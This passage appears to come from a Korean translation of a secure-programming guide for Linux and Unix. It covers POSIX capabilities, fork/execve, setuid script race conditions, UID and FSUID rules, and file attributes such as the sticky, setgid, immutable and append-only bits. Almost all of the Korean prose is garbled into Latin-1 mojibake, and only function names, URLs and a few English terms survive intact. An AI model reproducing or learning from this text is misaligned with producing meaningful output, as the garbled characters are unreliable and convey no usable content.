¾Ê¾Æ¾ß ÇÑ´Ù; ¾Õ¿¡¼­ ¾ð±ÞÇßµíÀÌ ÇÁ·Î±×·¥µéÀº ¾²·¹µå¸¦ ±¸ÇöÇϱâ À§ÇØ ÀÌ·¯ÇÑ È£ÃâÀ» »ç¿ëÇÏ´Â ¾²·¹µù ¶óÀ̺귯¸®¿¡ ÀÇÁ¸ÇØ¾ß ÇÑ´Ù.

ÀÌ Ã¥Àº ÇÁ·Î±×·¥ ÀÛ¼º¿¡ ´ëÇÑ ¿ÏÀüÇÑ Áöħ¼­°¡ ¾Æ´Ï¸ç µû¶ó¼­ ÇÁ·Î¼¼½º¸¦ ´Ù·ç´Â ³Î¸® ¾òÀ» ¼ö ÀÖ´Â Á¤º¸¸¦ °Ç³Ê¶Û °ÍÀÌ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â wait(2), exit(2) µî¿¡ ´ëÇÑ ¹®¼­¸¦ ºÁ¾ß ÇÑ´Ù.


3.1.2. POSIX Capabilities

POSIX ´É·Â (capability) Àº ÀϹÝÀûÀ¸·Î ·çÆ®°¡ ¼ÒÀ¯ÇÏ´Â ±ÇÇÑÀ» º¸´Ù ±¸Ã¼ÀûÀÎ ±ÇÇѵéÀÇ Ä¿´Ù¶õ ¼ÂÀ¸·Î ºÐÇÒÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â ºñÆ®µéÀÇ ¼ÂÀÌ´Ù. ÀÌ´Â IEEE Ç¥ÁØ Ãʾȿ¡ ÀÇÇØ Á¤ÀǵǴµ¥ ¸®´ª½º °íÀ¯ÀÇ °ÍÀº ¾Æ´Ï¸ç ¶ÇÇÑ ÀϹÝÀûÀ¸·Î ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ ÀÇÇØ Áö¿øµÇÁöµµ ¾Ê´Â´Ù. ¸®´ª½º Ä¿³Î 2.0 Àº POSIX ´É·ÂÀ» Áö¿øÇÏÁö ¾Ê´Â ¹Ý¸é 2.2 ¹öÀüÀº ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ÀÌ Áö¿øÀ» Ãß°¡ÇÏ¿´´Ù. ÀÌ ¹®¼­¸¦ Æ÷ÇÔÇÏ¿© ¸®´ª½º ¹®¼­µéÀÌ ``·çÆ® ±ÇÇÑÀ» ÇÊ¿ä·Î ÇÑ´Ù" ¶ó°í ÇÒ ¶§ °ÅÀÇ ¸ðµç °æ¿ì¿¡ ÀÖ¾î ÀÌ´Â ´É·Â ¹®¼­¿¡ ÀοëµÈ ¹Ù¿Í °°ÀÌ ``´É·ÂÀ» ÇÊ¿ä·Î ÇÑ´Ù"¸¦ ÀǹÌÇÑ´Ù. ÇÊ¿äÇÑ Æ¯Á¤ ´É·ÂÀ» ¾Ë°í ½Í´Ù¸é ´É·Â ¹®¼­¿¡¼­ À̸¦ Á¶»çÇØ¶ó.

¸®´ª½º¿¡¼­ ±Ã±ØÀûÀÎ ¸ñÀûÀº ÆÄÀϽýºÅÛ³»ÀÇ ÆÄÀÏ¿¡ ´É·ÂÀÌ °áºÎµÉ ¼ö ÀÖµµ·Ï ÇÏ·Á´Â °ÍÀε¥ ±×·¯³ª ÀÌ ±ÛÀ» ¾²´Â ½ÃÁ¡¿¡¼­ ÀÌ´Â ¾ÆÁ÷±îÁö Áö¿øµÇÁö ¾Ê°í ÀÖ´Ù. ´É·Â ¾çµµ¿¡ ´ëÇÑ Áö¿øµµ ÀÖÁö¸¸ µðÆúÆ®·Î ÀÌ·¯ÇÑ ±â´ÉÀº ±ÝÁöµÇ¾î ÀÖ´Ù. ¸®´ª½º 2.2.11 ¹öÀüÀº ``´É·Â Á¦ÇÑ ¼Â (capability bounding set)" ¶ó´Â ´É·ÂÀ» º¸´Ù Á÷Á¢ÀûÀ¸·Î »ç¿ëÇÒ ¼ö ÀÖ°Ô Çϴ Ư¡À» Ãß°¡ÇÏ¿´´Ù. ´É·Â Á¦ÇÑ ¼ÂÀº ½Ã½ºÅÛ³»ÀÇ ¸ðµç ÇÁ·Î¼¼½º°¡ º¸À¯ÇÒ ¼ö ÀÖ´Â ´É·Â ¸ñ·ÏÀÌ´Ù (¹°·Ð ±×·¸Áö¾ÊÀ¸¸é Ưº°ÇÑ init ÇÁ·Î¼¼½º ¸¸ÀÌ À̸¦ º¸À¯ÇÒ ¼ö ÀÖ´Ù). ´É·ÂÀÌ Á¦ÇÑ ¼Â¿¡ ¾ø´Ù¸é ¾î¶² ÇÁ·Î¼¼½º¶óµµ Áö´Ñ ±ÇÇÑ¿¡ »ó°ü¾øÀÌ À̸¦ »ç¿ëÇÏÁö ¸øÇÒ °ÍÀÌ´Ù. ÀÌ Æ¯Â¡Àº ¿¹¸¦ µé¾î Ä¿³Î ¸ðµâ ÀûÀ縦 ±ÝÁöÇϴµ¥ »ç¿ëµÉ ¼ö Àִµ¥ À̸¦ ÀÌ¿ëÇÑ ¿¹Á¦ µµ±¸´Â http://pweb.netcom.com/~spoon/lcap/ ÀÇ LCAP ÀÌ´Ù.

POSIX ´É·Â¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ftp://linux.kernel.org/pub/linux/libs/security/linux-privs ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.


3.1.3. ÇÁ·Î¼¼½º »ý¼º°ú Á¶ÀÛ

ÇÁ·Î¼¼½º´Â fork(2), vfork(2) (ÃßõÇÏÁö ¾Ê´Â´Ù) ¶Ç´Â ¸®´ª½º °íÀ¯ÀÇ clone(2) ¸¦ »ç¿ëÇÏ¿© »ý¼ºµÉ ¼ö Àִµ¥ ÀÌ·¯ÇÑ ½Ã½ºÅÛ È£Ãâ ¸ðµÎ´Â ±âÁ¸ ÇÁ·Î¼¼½º·ÎºÎÅÍ µÎ ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÔÀ¸·Î½á ±âÁ¸ ÇÁ·Î¼¼½º¸¦ º¹Á¦ÇÑ´Ù. ÇÁ·Î¼¼½º´Â execve(2) ¶Ç´Â ÀÌ¿¡ ´ëÇÑ ´Ù¾çÇÑ ÀüÀ§ (front-end) (¿¹¸¦ µé¾î exec(3), system(3) ¹× popen(3) ¸¦ º¸¶ó) ¸¦ È£ÃâÇÔÀ¸·Î½á ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¼ö ÀÖ´Ù.

ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¾î ±× ÆÄÀÏÀÇ setuid ¶Ç´Â setgid ºñÆ® ¼ÂÀÌ ¼³Á¤µÉ ¶§ ÇÁ·Î¼¼½ºÀÇ EUID ¶Ç´Â EGID °¢°¢Àº ´ë°³ ÆÄÀÏÀÇ °ªµé·Î ¼³Á¤µÈ´Ù. ÀÌ ±â´É¼ºÀº °æÀï »óÅ (race condition) ¶§¹®¿¡ setuid ¶Ç´Â setgid ½ºÅ©¸³Æ®¸¦ Áö¿øÇϱâ À§ÇØ »ç¿ëµÉ ¶§ Ãʱâ À¯´Ð½ºÀÇ º¸¾È °áÇÔÀÇ ¿øÀÎÀÌ¿´´Ù. Ä¿³ÎÀÌ ¾î¶² ÀÎÅÍÇÁ¸®Å͸¦ ½ÇÇà½ÃÄÑ¾ß ÇÏ´ÂÁö ¾Ë±â À§ÇØ ÆÄÀÏÀ» ¿©´Â ½Ã°£°ú ¹æ±Ý id °¡ ¼³Á¤µÈ ÀÎÅÍÇÁ¸®ÅͰ¡ ½ÇÇàµÇ¾î ÆÄÀÏÀ» ÇØ¼®Çϱâ À§ÇØ À̸¦ ´Ù½Ã ¿©´Â ½Ã°£»çÀÌ¿¡ ÇØÄ¿°¡ Á÷Á¢ÀûÀ¸·Î ¶Ç´Â ½Éº¼¸¯ ¸µÅ©¸¦ ÅëÇØ ÆÄÀÏÀ» º¯°æÇÒ ¼ö ÀÖ´Ù.

¿©·¯°¡Áö À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀº ´Ù¸¥ ¹æ½ÄÀ¸·Î setuid ½ºÅ©¸³Æ®¿¡ ´ëÇÑ º¸¾È ÀïÁ¡À» ´Ù·é´Ù. ¸®´ª½º¿Í °°Àº ½Ã½ºÅÛµéÀº ½ºÅ©¸³Æ®¸¦ ½ÇÇàÇÒ ¶§ setuid ¿Í setgid ºñÆ®¸¦ ¿ÏÀüÈ÷ ¹«½ÃÇϴµ¥ ÀÌ´Â ¸í¹éÈ÷ ¾ÈÀüÇÑ Á¢±Ù ¹æ¹ýÀÌ´Ù. ´ëºÎºÐÀÇ SysVr4 ¿Í BSD 4.4 ÇöÀç ¹öÀüÀº Ä¿³Î °æÀï »óŸ¦ ÇÇÇϱâ À§ÇØ ´Ù¸¥ Á¢±Ù ¹æ¹ýÀ» »ç¿ëÇϴµ¥, Ä¿³ÎÀÌ ¿­·Á°í ÇÏ´Â set-id ½ºÅ©¸³Æ®ÀÇ À̸§À» ÀÎÅÍÇÁ¸®ÅÍ¿¡ Àü´ÞÇÒ ¶§ °æÀï »óŸ¦ Çã¿ëÇÒ ¼ö ÀÖ´Â °æ·ÎÀ̸§º¸´Ù´Â ´ë½Å ÆÄÀÏÀ̸§ /dev/fd/3 À» Àü´ÞÇÑ´Ù. ÀÌ´Â ½ºÅ©¸³Æ®»ó¿¡ ÀÌ¹Ì ¿­·ÁÁø Ưº° ÆÄÀÏ·Î µû¶ó¼­ °ø°ÝÀÚ°¡ ¾Ç¿ëÇÒ ¼ö ÀÖ´Â °æÀï »óÅ´ ¾ø´Ù. ÀÌ·¯ÇÑ ÆÄÀϽýºÅÛ¿¡¼­µµ ÀúÀÚ´Â ¹ØºÎºÐ¿¡ ³íÀÇµÉ °ÍÀÌÁö¸¸ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼º¿¡ setuid/setgid ½© ½ºÅ©¸³Æ® ¾ð¾î¸¦ »ç¿ëÇÏÁö ¸»¶ó°í ÃßõÇÑ´Ù.

¾î¶² °æ¿ì¿¡ ÀÖ¾î ÇÁ·Î¼¼½º´Â ¿©·¯ °¡Áö UID ¿Í GID °ªµé¿¡ ¿µÇâÀ» ¹ÌÄ¥ ¼ö Àִµ¥ setuid(2), seteuid(2), setreuid(2) ¿Í ¸®´ª½º °íÀ¯ÀÇ setfsuid(2) ¸¦ º¸¶ó. ƯÈ÷, À¯º¸µÈ »ç¿ëÀÚ id (SUID) ¼Ó¼ºÀº ½Å·ÚµÈ ÇÁ·Î±×·¥ÀÌ ÀϽÃÀûÀ¸·Î UID µéÀ» º¯°æÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â °ÍÀÌ´Ù. SUID ¸¦ Áö¿øÇÏ´Â À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀº ´ÙÀ½ ±ÔÄ¢À» »ç¿ëÇÑ´Ù: RUID °¡ º¯°æµÇ°Å³ª ¶Ç´Â EUID °¡ RUID ¿Í µ¿ÀÏÇÏ°Ô ¼³Á¤µÇÁö ¾ÊÀ¸¸é SUID °¡ »õ·Î¿î EUID ·Î ¼³Á¤µÈ´Ù. ±ÇÇÑÀÌ ¾ø´Â »ç¿ëÀÚµéÀº ±×µéÀÇ SUID ·ÎºÎÅÍ EUID ¸¦ ¼³Á¤ÇÒ ¼ö ÀÖÀ¸¸ç RUID ¸¦ EUID ·Î EUID ¸¦ RUID ·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.

¸®´ª½º °íÀ¯ÀÇ FSUID ÇÁ·Î¼¼½º ¼Ó¼ºÀº NFS ¼­¹ö¿Í °°Àº ÇÁ·Î±×·¥µé¿¡°Ô ½Ã±×³ÎÀ» ÇÁ·Î¼¼½º¿¡ º¸³»±â À§ÇÑ UID Çã°¡±ÇÀ» ÁÖÁö ¾Ê°í¼­ À̵éÀÌ ÀڽŵéÀ» ¾î¶² ÁÖ¾îÁø UID ±ÇÇÑÀ» °®´Â ÆÄÀϽýºÅÛÀ¸·Î Á¦ÇÑÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â ¼Ó¼ºÀÌ´Ù. EUID °¡ º¯°æµÉ ¶§¸¶´Ù FSUID ´Â »õ·Î¿î EUID °ªÀ¸·Î º¯°æµÈ´Ù; FSUID °ªÀº ¸®´ª½º °íÀ¯ È£ÃâÀÎ setfsuid(2) ¸¦ »ç¿ëÇÏ¿© º°µµ·Î ¼³Á¤µÉ ¼ö ÀÖ´Ù. ·çÆ®ÀÌ¿ÜÀÇ È£ÃâÀÚµéÀº FSUID ¸¦ ´ÜÁö ÇöÀç RUID, EUID, SEUID ¶Ç´Â ÇöÀç FSUID °ªÀ¸·Î¸¸ ¼³Á¤ÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó.


3.2. ÆÄÀÏ

¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ Á¤º¸µéÀº ±âº»ÀûÀ¸·Î "/" ·çÆ® ÆÄÀÏ Æ®¸®¿¡ ÀúÀåµÈ´Ù. ÆÄÀÏ Æ®¸®´Â µð·ºÅ丮µéÀÇ °èÃþÀû ÁýÇÕÀ¸·Î µð·ºÅ丮 °¢ÀÚ°¡ ÆÄÀϽýºÅÛ °´Ã¼ (FSO) ¸¦ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù.

¸®´ª½º¿¡¼­ ÆÄÀϽýºÅÛ °´Ã¼´Â º¸ÅëÀÇ ÆÄÀÏ, µð·ºÅ丮, ½Éº¼¸¯ ¸µÅ©, ³×ÀÓµå ÆÄÀÌÇÁ (¼±ÀÔ ¼±Ã³¸®, FIFO, first-in first-out À̶ó°íµµ ºÎ¸¥´Ù) , ¼ÒÄÏ (¹ØºÎºÐÀ» º¸¶ó), ¹®ÀÚ µð¹ÙÀ̽º ÆÄÀÏ ¶Ç´Â ºí·Ï µð¹ÙÀ̽º ÆÄÀÏÀÏ ¼ö ÀÖ´Ù (ÀÌ ¸ñ·ÏÀº find(1) ¸í·ÉÀ¸·Î º¼ ¼ö ÀÖ´Ù). ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛµµ µ¿ÀÏÇÑ ¶Ç´Â À¯»çÇÑ FSO ŸÀÔ ¸ñ·ÏÀ» °®´Â´Ù.

ÆÄÀϽýºÅÛ °´Ã¼´Â ÆÄÀÏ Æ®¸®¿¡ µð·ºÅ丮·Î ¸¶¿îÆ® ¹× ¾ð¸¶¿îÆ®µÉ ¼ö ÀÖ´Â ÆÄÀϽýºÅÛ¿¡ ¸ð¾ÆÁø´Ù. ÆÄÀϽýºÅÛ Å¸ÀÔ (¿¹, ext2 ¿Í FAT) Àº ¼Óµµ, ½Å·Ú¼º µîÀ» ÃÖÀûÇϱâ À§ÇØ µð½ºÅ©»ó¿¡ µ¥ÀÌÅ͸¦ ¹è¿­Çϱâ À§ÇÑ Æ¯Á¤ÇÑ ÀÏ·ÃÀÇ ÇÕÀÇÀÌ´Ù; ``ÆÄÀϽýºÅÛ"Àº ``ÆÄÀϽýºÅÛ À¯Çü" °ú µ¿ÀǾî·Î »ç¿ëµÈ´Ù.


3.2.1. ÆÄÀϽýºÅÛ °´Ã¼ ¼Ó¼º

¿©·¯°¡Áö À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ´Ù¾çÇÑ ÆÄÀϽýºÅÛ Å¸ÀÔÀ» Áö¿øÇÑ´Ù. ÆÄÀϽýºÅÛÀº ¾à°£ ´Ù¸¥ ÀÏ·ÃÀÇ Á¢±Ù Á¦¾î ¼Ó¼ºµéÀ» °¡Áú ¼ö ÀÖÀ¸¸ç Á¢±Ù Á¦¾î´Â ¸¶¿îÆ®½Ã ¼±ÅÃÇÑ ¿É¼Ç¿¡ ÀÇÇØ ¿µÇâÀ» ¹ÞÀ» ¼ö ÀÖ´Ù. ¸®´ª½º¿¡¼­´Â ext2 ÆÄÀϽýºÅÛÀÌ ÇöÀç °¡Àå ³Î¸® »ç¿ëµÇ°í ÀÖÀ¸¸ç ¸®´ª½º´Â ¹æ´ëÇÑ ¾çÀÇ ÆÄÀϽýºÅÛÀ» Áö¿øÇϴµ¥ ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛµµ ´ÙÁß ÆÄÀϽýºÅÛÀ» ¶ÇÇÑ Áö¿øÇÑ´Ù.

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ´ëºÎºÐÀÇ ÆÄÀϽýºÅÛÀº Àû¾îµµ ´ÙÀ½À» ÀúÀåÇÑ´Ù:

  • ¼ÒÀ¯ UID ¿Í GID - ÆÄÀϽýºÅÛ °´Ã¼ÀÇ ``¼ÒÀ¯ÀÚ"¸¦ ½Äº°ÇÑ´Ù. ´Þ¸® ¾ð±ÞµÇÁö ¾Ê´Â´Ù¸é ¼ÒÀ¯ÀÚ ¶Ç´Â ·çÆ®¸¸ÀÌ Á¢±Ù Á¦¾î ¼Ó¼ºÀ» º¯°æÇÒ ¼ö ÀÖ´Ù.

  • Çã°¡±Ç ºñÆ® (permission bits) - °¢ »ç¿ëÀÚ (¼ÒÀ¯ÀÚ), ±×·ì ¹× other ¿¡ ´ëÇÑ Àбâ, ¾²±â ¹× ½ÇÇàÇϱ⠺ñÆ®. ÀÏ¹Ý ÆÄÀÏ¿¡ ´ëÇØ¼­´Â Àбâ, ¾²±â¿Í ½ÇÇàÇϱâ´Â ÀϹÝÀûÀÎ Àǹ̸¦ °®´Â´Ù. µð·ºÅ丮¿¡¼­ ``Àбâ" Çã°¡±ÇÀº µð·ºÅ丮ÀÇ ³»¿ëµéÀ» Ç¥½ÃÇϱâ À§ÇØ ÇÊ¿äÇÏ¸ç ¹Ý¸é ``½ÇÇàÇϱâ" Çã°¡±ÇÀº ¶§·Î´Â ``°Ë»ö (search)" Çã°¡±ÇÀ̶ó°íµµ Çϴµ¥ ±× ³»¿ëµé¸¦ »ç¿ëÇϱâ À§ÇØ ½ÇÁ¦ µð·ºÅ丮³»·Î µé¾î°¡±â À§ÇØ ÇÊ¿äÇÏ´Ù. µð·ºÅ丮¿¡¼­ ``¾²±â" Çã°¡±ÇÀº ±× µð·ºÅ丮³»¿¡ ÆÄÀÏ Ãß°¡Çϱâ, Á¦°ÅÇÏ±â ¹× Àç¸í¸íÇϱ⸦ Çã¿ëÇÑ´Ù; ´ÜÁö Ãß°¡Çϱ⸸À» Çã¿ëÇÏ·Á¸é ¹ØºÎºÐ¿¡ ¾ð±ÞµÇ´Â sticky ºñÆ®¸¦ ¼³Á¤Çضó. ½Éº¼¸¯ ¸µÅ©¿¡ ´ëÇØ¼­´Â Çã°¡±Ç °ªÀÌ ÀüÇô »ç¿ëµÇÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó; Áß¿äÇÑ °ÍÀº ´ÜÁö À̵éÀÌ Æ÷ÇÔÇÏ´Â µð·ºÅ丮¿Í ¸µÅ©µÈ ÆÄÀÏÀÇ °ªÀÌ´Ù.

  • ``sticky" ºñÆ® - ÀÌ ºñÆ®°¡ µð·ºÅ丮¿¡ ¼³Á¤µÇ¾î ÀÖÀ» ¶§ ±× µð·ºÅ丮³»¿¡¼­ ÆÄÀÏÀÇ ¾ð¸µÅ© (Á¦°Å) ¹× Àç¸í¸íÀº ÆÄÀÏ ¼ÒÀ¯ÀÚ, µð·ºÅ丮 ¼ÒÀ¯ÀÚ ¶Ç´Â ·çÆ®¸¸ÀÌ ÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ¸Å¿ì °øÅëµÈ À¯´Ð½ºÀÇ È®ÀåÀ¸·Î ¿ÀÇ ±×·ìÀÇ Single Unix Specification ¹öÀü 2 ¿¡ ¸í½ÃµÇ¾î ÀÖ´Ù. Ãʱâ À¯´Ð½º ¹öÀüµéÀº À̸¦ ``save program text" ºñÆ®¶ó°í ºÒ·¶À¸¸ç À̸¦ ¸Þ¸ð¸®¿¡ »óÁÖÇØ¾ß ÇÏ´Â ½ÇÇà°¡´ÉÇÑ ÆÄÀÏÀ» °¡¸®Å³ ¶§ »ç¿ëÇÏ¿´´Ù. ·çÆ®¸¸ÀÌ ÀÌ ºñÆ®¸¦ ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï ½Ã½ºÅÛÀº º¸ÁõÇߴµ¥ ±×·¸Áö ¾Ê´Ù¸é »ç¿ëÀÚµéÀÌ ¾ïÁö·Î ``¸ðµç °Í"À» ¸Þ¸ð¸®¿¡ ¿Ã¸²À¸·Î½á ½Ã½ºÅÛÀ» ÆÄ¼Õ½Ãų ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¸®´ª½º¿¡¼­ ÀÌ ºñÆ®´Â ÀÏ¹Ý ÆÄÀÏ¿¡ ¾Æ¹«·± ¿µÇâÀ» ¹ÌÄ¡Áö ¾ÊÀ¸¸ç ÀÏ¹Ý »ç¿ëÀÚ´Â ÀÚ½ÅÀÌ ¼ÒÀ¯ÇÑ ÆÄÀÏ¿¡ ´ëÇØ ÀÌ ºñÆ®¸¦ º¯°æÇÒ ¼ö ÀÖ´Ù: ¸®´ª½ºÀÇ °¡»ó ¸Þ¸ð¸® °ü¸® ±â¹ýÀº ÀÌ·¯ÇÑ ºñÆ®¸¦ »ç¿ëÇØµµ ¾Æ¹«·± ¹®Á¦°¡ µÇÁö ¾Ê°Ô ÇÑ´Ù.

  • setuid, setgid - ½ÇÇà°¡´ÉÇÑ ÆÄÀÏ¿¡ ¼³Á¤µÇ¾î ÀÖÀ» ¶§ ÀÌ ÆÄÀÏÀ» ½ÇÇà½ÃÅ´À¸·Î½á ÇÁ·Î¼¼½ºÀÇ À¯È¿ UID ¶Ç´Â À¯È¿ GID ´Â °¢°¢ ÆÄÀÏ ¼ÒÀ¯ UID ¶Ç´Â GID ·Î ¼³Á¤µÉ °ÍÀÌ´Ù. ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº À̸¦ Áö¿øÇÑ´Ù. ¸®´ª½º¿Í System V ¿¡¼­ ½ÇÇà ±ÇÇÑÀÌ ¾ø´Â ÆÄÀÏ¿¡ setgid °¡ ¼³Á¤µÇ¾î ÀÖÀ» ¶§ ÀÌ´Â Á¢±Ù µµÁß °­Á¦ ·ÎÅ· (mandatory locking) µÇ´Â ÆÄÀÏÀ» °¡¸®Å²´Ù (ÆÄÀϽýºÅÛÀÌ °­Á¦ ·ÎÅ·À» Áö¿øÇϵµ·Ï ¸¶¿îÆ®µÈ °æ¿ì); ÀÌ·¸µí ¸¹Àº Àǹ̴ ¸¹Àº »ç¶÷À» ³î¶ó°Ô Çϴµ¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ º¸ÆíÀûÀÎ °ÍÀº ¾Æ´Ï´Ù. »ç½Ç chmod(3) ¿¡ ´ëÇÑ ¿ÀÇ ±×·ìÀÇ Single Unix Specification ¹öÀü 2 ´Â ÀÌ·¯ÇÑ ¼³Á¤ÀÌ Àǹ̰¡ ¾ø´Â °æ¿ì ½ÇÇàºÒ°¡´ÉÇÑ ÆÄÀÏ¿¡ ´ëÇØ setgid À» ¼³Á¤ÇÏ´Â ¿äûÀ» ½Ã½ºÅÛÀÌ ¹«½ÃÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ¸®´ª½º¿Í ¼Ö¶ó¸®½º¿¡¼­ µð·ºÅ丮¿¡ setgid °¡ ¼³Á¤µÇ¾î ÀÖÀ» ¶§ ÀÌ µð·ºÅ丮³»¿¡¼­ »ý¼ºµÈ ÆÄÀÏÀÇ GID ´Â µð·ºÅ丮ÀÇ GID ·Î ÀÚµ¿ ¼³Á¤µÈ´Ù. ÀÌ·¯ÇÑ Á¢±Ù¹æ¹ýÀÇ ¸ñÀûÀº ``ÇÁ·ÎÁ§Æ® µð·ºÅ丮"¸¦ Áö¿øÇϱâ À§ÇÑ °ÍÀ¸·Î »ç¿ëÀÚµéÀº ÆÄÀÏÀ» ÀÌ·¸°Ô Ưº°È÷ ¼³Á¤µÈ µð·ºÅ丮¿¡ ÀúÀåÇÒ ¼ö ÀÖÀ¸¸ç ±×·ì ¼ÒÀ¯ÀÚ´Â ÀÚµ¿ÀûÀ¸·Î º¯°æµÈ´Ù. ±×·¯³ª µð·ºÅ丮¿¡ setgid ¸¦ ¼³Á¤ÇÏ´Â °ÍÀº SiIngle Unix Specification [Open Group 1997] °ú °°Àº Ç¥ÁØ¿¡´Â ¸í½ÃµÇ¾î ÀÖÁö ¾Ê´Ù.

  • ŸÀÓ½ºÅÆÇÁ - °¢ ÆÄÀϽýºÅÛ °´Ã¼¿¡ ´ëÇØ Á¢±Ù ¹× º¯°æ ½Ã°£ÀÌ ÀúÀåµÈ´Ù. ±×·¯³ª ¼ÒÀ¯ÀÚ´Â ÀÌ °ªÀ» ÀÓÀÇ·Î ¼³Á¤ÇÒ ¼ö Àֱ⠶§¹®¿¡ (touch(1) À» º¸¶ó) ÀÌ·¯ÇÑ Á¤º¸ÀÇ ½Å·Ú¼º¿¡ À¯ÀÇÇØ¶ó. ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº À̸¦ Áö¿øÇÑ´Ù.

´ÙÀ½ ¼Ó¼ºÀº ext2 ÆÄÀϽýºÅÛ¿¡¼­ ¸®´ª½º °íÀ¯ÀÇ È®ÀåÀÌ´Ù. ¹°·Ð ¸¹Àº ´Ù¸¥ ÆÄÀϽýºÅÛµµ À¯»çÇÑ ±â´É¼ºÀ» °®´Â´Ù:

  • immutable (ºÒº¯) ºñÆ® - ÆÄÀϽýºÅÛ °´Ã¼¿¡ ´ëÇÑ ¾î¶°ÇÑ º¯°æµµ Çã¿ëµÇÁö ¾Ê´Âµ¥ ´ÜÁö ·çÆ®¸¸ÀÌ ÀÌ ºñÆ®¸¦ ¼³Á¤ ¶Ç´Â Á¦°ÅÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ´ÜÁö ext2 ¸¸ Áö¿øÇÏ¸ç ¸ðµç À¯´Ð½º ½Ã½ºÅÛ (¶Ç´Â ¸ðµç ¸®´ª½º ÆÄÀϽýºÅÛ) ¿¡ ´ëÇØ À̽İ¡´ÉÇÑ °ÍÀº ¾Æ´Ï´Ù.

  • append-only ºñÆ® - ÆÄÀϽýºÅÛ °´Ã¼¿¡ µ¡ºÙÀ̱⸸ Çã¿ëµÇ´Âµ¥ ´ÜÁö ·çÆ®¸¸ÀÌ ÀÌ ºñÆ®¸¦ ¼³Á¤ ¶Ç´Â Á¦°ÅÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ´ÜÁö ext2 ¸¸ Áö¿øÇÏ¸ç ¸ðµç À¯´Ð½º ½Ã½ºÅÛ (¶Ç´Â ¸ðµç ¸®´ª½º ÆÄÀϽýºÅÛ) ¿¡ ´ëÇØ À̽İ¡´ÉÇÑ °ÍÀº ¾Æ´Ï´Ù.

´Ù¸¥ °øÅëµÈ È®ÀåÀº ``ÀÌ ÆÄÀÏÀ» »èÁ¦ÇÒ ¼ö ¾ø´Ù" ¸¦ °¡¸®Å°´Â ¾î¶² Á¾·ùÀÇ ºñÆ®µéÀ» Æ÷ÇÔÇÑ´Ù.

ÀÌ·¯ÇÑ °ªµéÁß ¸¹Àº °ÍµéÀº ¸¶¿îÆ®½Ã ¿µÇâÀ» ¹ÞÀ» ¼ö ÀÖÀ¸¸ç µû¶ó¼­ ¿¹¸¦ µé¸é ¾î¶² ºñÆ®´Â ÀÏÁ¤ÇÑ °ª (¹Ìµð¾î»ó¿¡¼­ ±×µéÀÇ °ª¿¡ »ó°ü¾øÀÌ) À» °®°í ÀÖ´Â °Íó·³ ó¸®µÉ ¼ö ÀÖ´Ù. ÀÌ¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â mount(1) À» º¸¶ó. ÀÌ·¯ÇÑ ºñÆ®µéÀº À¯¿ëÇÏÁö¸¸ À̵éÁß ÀϺδ ¼Õ½¬¿î »ç¿ëÀ» °£´ÜÈ÷ Çϱâ À§ÇÑ °ÍÀ¸·Î ½ÇÁ¦·Î ¾î¶² ÇൿÀ» ¿¹¹æÇÒ ¸¸Å­ ÃæºÐÇÏÁö ¾ÊÀ½À» ¾Ë°í ÀÖ¾î¶ó. ¿¹¸¦ µé¾î ¸®´ª½º¿¡¼­ ``noexec" ¿É¼ÇÀ» °®°í ¸¶¿îÆÃÀ» ÇÏ´Â °ÍÀº ±× ÆÄÀϽýºÅÛ¿¡¼­ ÇÁ·Î±×·¥ÀÇ ½ÇÇàÀ» ±ÝÁöÇÒ °ÍÀÌ´Ù; ¸Þ´º¾ó¿¡ ¾ð±ÞµÈ °Í°ú °°¾Æ À̴ ȣȯµÇÁö ¾Ê´Â ½Ã½ºÅÛ¿¡ ´ëÇØ ¹ÙÀ̳ʸ®¸¦ Æ÷ÇÔÇϰí ÀÖ´Â ÆÄÀϽýºÅÛÀ» ¸¶¿îÆÃÇϱâ À§ÇÑ °ÍÀÌ´Ù. ¸®´ª½º¿¡¼­ ÀÌ ¿É¼ÇÀÌ ÆÄÀÏ ½ÇÇàÀ» ¿ÏÀüÈ÷ ¸·Áö´Â ¸øÇÒ °ÍÀÌ´Ù; ÆÄÀÏÀ» ½ÇÇà½Ãų ¼ö ÀÖ´Â ´Ù¸¥ ¾îµò°¡¿¡ À̸¦ º¹»çÇÒ ¼ö ÀÖÀ¸¸ç ¶ÇÇÑ ÀÌ ÆÄÀÏÀ» Á÷Á¢ÀûÀ¸·Î ½ÇÇà½Ã۱â À§ÇØ ``/lib/ld-linux.so.2" ¸í·ÉÀ» ½ÇÇà½Ãų ¼öµµ ÀÖ´Ù.

